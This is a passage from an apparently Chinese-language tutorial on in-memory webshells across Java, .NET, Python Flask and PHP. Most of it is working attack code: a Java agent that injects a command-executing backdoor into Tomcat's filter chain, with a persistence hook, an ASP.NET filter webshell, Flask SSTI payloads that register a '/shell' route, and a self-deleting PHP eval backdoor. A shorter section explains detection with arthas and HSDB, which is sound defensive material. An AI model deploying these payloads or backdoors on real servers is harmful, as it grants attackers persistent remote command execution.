import java.security.ProtectionDomain;public class MyAgent implements ClassFileTransformer {public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";// 字节码转换逻辑实现@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {// 将className格式化为标准格式className = className.replace('/', '.');if (className.equals(ClassName)) {ClassPool cp = ClassPool.getDefault();if (aClass != null) {ClassClassPath classPath = new ClassClassPath(aClass);cp.insertClassPath(classPath);}try {// 获取Class对象并对其修改CtClass cc = cp.get(className);CtMethod m = cc.getDeclaredMethod("doFilter");// 在 doFilter 方法的前面插入自定义代码m.insertBefore("javax.servlet.ServletRequest req = request;\n" +"javax.servlet.ServletResponse res = response;" +"String cmd = req.getParameter(\"cmd\");\n" +"if (cmd != null) {\n" +"Process process = Runtime.getRuntime().exec(cmd);\n" +"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +"new java.io.InputStreamReader(process.getInputStream()));\n" +"StringBuilder stringBuilder = new StringBuilder();\n" +"String line;\n" +"while ((line = bufferedReader.readLine()) != null) {\n" +"stringBuilder.append(line + '\\n');\n" +"}\n" +"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +"res.getOutputStream().flush();\n" +"res.getOutputStream().close();\n}");byte[] byteCode = cc.toBytecode();cc.detach();return byteCode;} catch (IOException | CannotCompileException | NotFoundException e) {e.printStackTrace();}}return new byte[0];}// JVM 启动时调用的 premain 方法public static void premain(String args, Instrumentation inst) throws Exception {System.out.println("Java Agent premain is running...");inst.addTransformer(new MyAgent(), true);}// 动态加载时调用的 agentmain 方法public static void agentmain(String args, Instrumentation inst) throws Exception {System.out.println("Java Agent agentmain is running...");inst.addTransformer(new MyAgent(), true);// 获取所有已加载的类Class[] loadedClasses = inst.getAllLoadedClasses();for (Class clazz : loadedClasses) {// 如果目标类已经加载，重新转换它if (clazz.getName().equals(ClassName)) {try {inst.retransformClasses(clazz);} catch (Exception e) {e.printStackTrace();}}}}
}

然后将这个Agent打包成jar文件。然后Attach操作，挂载到目标JVM上，执行加载Agent。具体的代码看：GitHub - ax1sX/MemShell: MemShell List

这里要对Agent内存马持久化补充一点。ShutdownHook也叫钩子函数，它允许开发人员插入JVM关闭时执行的一段代码。示例如下：

public class Hook {public static void main(String[] args) throws Exception{Runtime.getRuntime().addShutdownHook(new Thread() {@Overridepublic void run() {System.out.println("hook");}});System.out.println("public main over");}
}

main方法执行结束后会执行hook，所以rebeyond利用这种方式在服务器运行结束后，将inject.jar和agent.jar写到磁盘上，然后调用startInject方法执行java -jar inject.jar，来解决一般内存马在服务器重启后不存在的情况，但是实战中一般要求木马可清楚，这种方式慎用。

 public static void persist() {try {Thread t = new Thread() {public void run() {try {writeFiles("inject.jar",Agent.injectFileBytes);writeFiles("agent.jar",Agent.agentFileBytes);startInject();} catch (Exception e) {}}};t.setName("shutdown Thread");Runtime.getRuntime().addShutdownHook(t);} catch (Throwable t) {}

Agent内存马查杀

很多防守方都问过一个问题，如何找到内存马？内存马存在于内存中，那么就需要从JVM中查找相应的Class。有两种常用的方式

（1）arthas
arthas是阿里开发的开源工具，链接：GitHub - alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas
使用的话直接下载arthas-boot.jar即可：https://arthas.aliyun.com/arthas-boot.jar
可以在JDK6以上运行，主要功能包括：检查一个类是否被加载，或者类被加载到哪里（对于解决 jar 文件冲突很有用）、反编译一个类以确保代码按预期运行等。这两个功能对于内存马的查找很有意义。比如上述Agent内存马的注入选取了org.apache.catalina.core.ApplicationFilterChain类，那么可以通过arthas直接查看这个类的反编译结果是否包含恶意代码

arthas使用如下

java -jar arthas-boot.jar

启动工具后，根据显示出的线程，选取对应要查看的。

然后输入要查看的类名

[arthas@4035]$ sc org.apache.catalina.core.ApplicationFilterChain
[arthas@4035]$ jad org.apache.catalina.core.ApplicationFilterChain

输入sc ${需要检索的类名}查看相关的类名，输入jad ${包名}，反编译class源码，可以看到此时的doFilter包含了恶意代码

如果想要下载Class文件，命令如下，然后jd-gui打开即可。

[arthas@4035]$ dump org.apache.catalina.core.ApplicationFilterChain

（2）HSDB（sa-jdi.jar）
HSDB（Hotspot Debugger)，是一款内置于sa-jdi.jar中的 GUI 调试工具，可用于调试 JVM 运行时数据，从而进行故障排除。以下三种开启方式都可以。

sudo /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp ,:/Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB

选择file->Attach to Hotspot process ，然后输入process ID去Attach进程。但是Mac环境下可能出现Attach不成功的情况。

.NET内存马

.NET MVC内存马

.net处理请求与Java很类似，最早用aspx也看来处理请求（类似java中的jsp），后来发展到MVC开发框架，用Controller处理请求。创建一个ASP.NET Web Application。会发现程序默认注册了一个全局的Filter。关于.net Filter可以查看官方文档：Filters in ASP.NET Core | Microsoft Learn

官方文档中提到，最先执行的是Authorization filters。那么为了保证内存马的优先级，可以制作实现IAuthorizationFilter接口的Filter。该接口只有一个方法OnAuthorization。

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">public class MyAuthFilter : IAuthorizationFilter{public void OnAuthorization(AuthorizationContext filterContext){String cmd = filterContext.HttpContext.Request.QueryString["cmd"];if (cmd != null){HttpResponseBase response = filterContext.HttpContext.Response;Process p = new Process();p.StartInfo.FileName = cmd;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;p.Start();byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());response.Write(System.Text.Encoding.Default.GetString(data));}Console.WriteLine("auth filter inject");}}
</script>
<%GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;globalFilterCollection.Add(new MyAuthFilter(), -2);
%>

在添加Filter时，设置了参数-2。这个参数代表order。默认的filter order是-1，order数值越小，优先级越高。所以为了提高内存马在系统中的优先级，这里设置-2。

除了MVC内存马，.net常见内存马还包含：HttpListener内存马、VirtualPath内存马、Route内存马

java web三大组件，servlet、filter、listener。在.net中也有一个listener被应用—HttpListener，微软官方对它的介绍：可以用这个类创建一个简单的HTTP协议侦听器来响应 HTTP 请求。其他的也可以看yzddmr6的博客，里面对.net的几个内存马有详细的介绍：

https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/

Python内存马

现在网上常见的Python内存马都是针对Flask框架的。Flask框架下的SSTI漏洞demo如下

from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/')
def hello():person = 'axisx'if request.args.get('name'):person = request.args.get('name')template = '<h1>Hi, %s.</h1>' % personreturn render_template_string(template)if __name__ == '__main__':app.run()

Flask默认采用Jinja2作为模版引擎。而Jinja2会把一些传入的参数当作代码执行。常见的payload都用到了python的内置类属性。这是Python实现反射和动态编程的接口，允许在运行时检查和修改对象。常见的内置类属性如下

['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']

内置类属性本身实现了反射的特性，也就是可以调用各个类中的方法。那么就需要找到python内置的一些能够实现文件读写的方法。常见的构造如下。例如用os的popen类

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

反射先要获取到相应的类，这里"".__class__.__bases__通过自带的str类来获取基类Object类。然后获取Object类所有的子类列表，即python的内置类。再通过索引位置（很多文章中写的128，但是需要实际根据主机情况去更改这个索引号）获取相应的类。.__init__获取构造函数，.__globals__获取函数所在的全局命名空间（包含了类中的变量和方法）。能获取的类和方法很多，还有各种绕过沙盒限制的方式，这里就不再多说。Ps:__builtins__可以查找所有内置函数的名称。

回到内存马，核心是要向一个可访问的路由下写入一段恶意代码。此时我们已经实现了在Flask SSTi模版场景下实现恶意代码的构造，但是这个代码并没有实现持久化，需要伴随着每次SSTI的访问来攻击。例如在当前的py文件下插入如下恶意代码

@app.route('/e')
def e():os.system(request.args.get('cmd'))

flask有两种方式来生成路由，一种是@app.route()，一种是url_for()

@app.route实际调用的方法是add_url_rule()。另外需要说明，添加路由的方式不止这一种，常见的还包括：url_map.add()等

flask视图生成函数url_for，demo如下

@app.route('/url')
def url():# return redirect(url_for('url_f')) # 返回url_for success!return url_for('url_f') # 返回/u@app.route('/u')
def url_f():return 'url_for success!'

这个url_for函数中有个全局变量current_app。这个全局变量的获取方法是：{{url_for.__globals__['current_app'].__dict__}}

利用url_for执行恶意poc

{{url_for.__globals__['__builtins__']['eval']("__import__('os').system('open -a Calculator')")}}

网上常见的内存马poc如下

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}
)}}

上面这个lambda转成python函数大概长这样：

def shell():# 获取 cmd 参数值，如果没有则默认为 'whoami'cmd = _request_ctx_stack.top.request.args.get('cmd', 'whoami')result = os.popen(cmd).read()return result

用flask版本3.0.1在执行网上的内存马时会报如下错误

AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.

根据调用栈的报错位置，定位如下。由于_got_first_request为True所以报了错

利用{{url_for.__globals__[%27current_app%27].__dict__}}查看当前Flask应用实例（current_app）所有的属性和值，包括了注册的路由函数、应用配置等信息。可以看到_got_first_request确实为True

所以后续针对较新版本的flask有改这个属性值的方式，还有利用其他路由注册函数的，例如before_request、after_request等。

这些都是flask框架下的内存马，基于Tornado、Django框架的内存马可以参考：Python Web 内存马多框架植入技术详解 | 天工实验室

PHP内存马

PHP内存马常见的有两种，一种是不死马，另一种是Fastcgi马。前者写一个死循环占据一个PHP进程，不间断的写入PHPShell。

不死马如下。PHP在执行脚本时会先将整个文件加载到内存，所以代码中在循环前执行了unlink(__FILE__)删除了文件。但循环会继续执行，不断在服务器上创建或覆盖一个config.php文件，并向其中写入恶意代码。

<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while (1) {$content = '<?php @eval($_POST["cmd"]) ?>';file_put_contents("config.php", $content);usleep(10000);}
?>

Fastcgi的基础知识如下。PHP请求处理的大致流程：

http请求 -> 服务器 -> nginx/apache -> 静态资源/动态资源 -> 动态资源用fastcgi协议 -> php-fpm处理请求

每当用户请求PHP页面时，Web服务器会启动一个单独的PHP CGI进程来处理这个请求，处理完成后进程关闭。这与将PHP作为Web服务器模块（如Apache中的mod_php）直接集成的模式不同。CGI（Common Gateway Interface，公共网关接口）是一种与语言无关的协议，可以在不同的服务器和操作系统之间提供兼容性，规范了传递给后方的数据格式。使用PHP CGI模式可以将PHP进程与Web服务器进程隔离。这些PHP进程由进程管理器（如php-fpm）来管理，它可以控制PHP进程的数量和资源分配。PHP CGI还支持FastCGI协议，这是CGI的增强版，提供了对PHP进程复用的支持。

FastCGI的特性之一就是可以通过环境变量将参数传递给PHP进程。但是如果利用环境变量修改了PHP配置选析那个，从而更改PHP的安全设置或者执行恶意的代码。

具体的FastCGI马方式参考：https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/php-fpm-memory-shell.md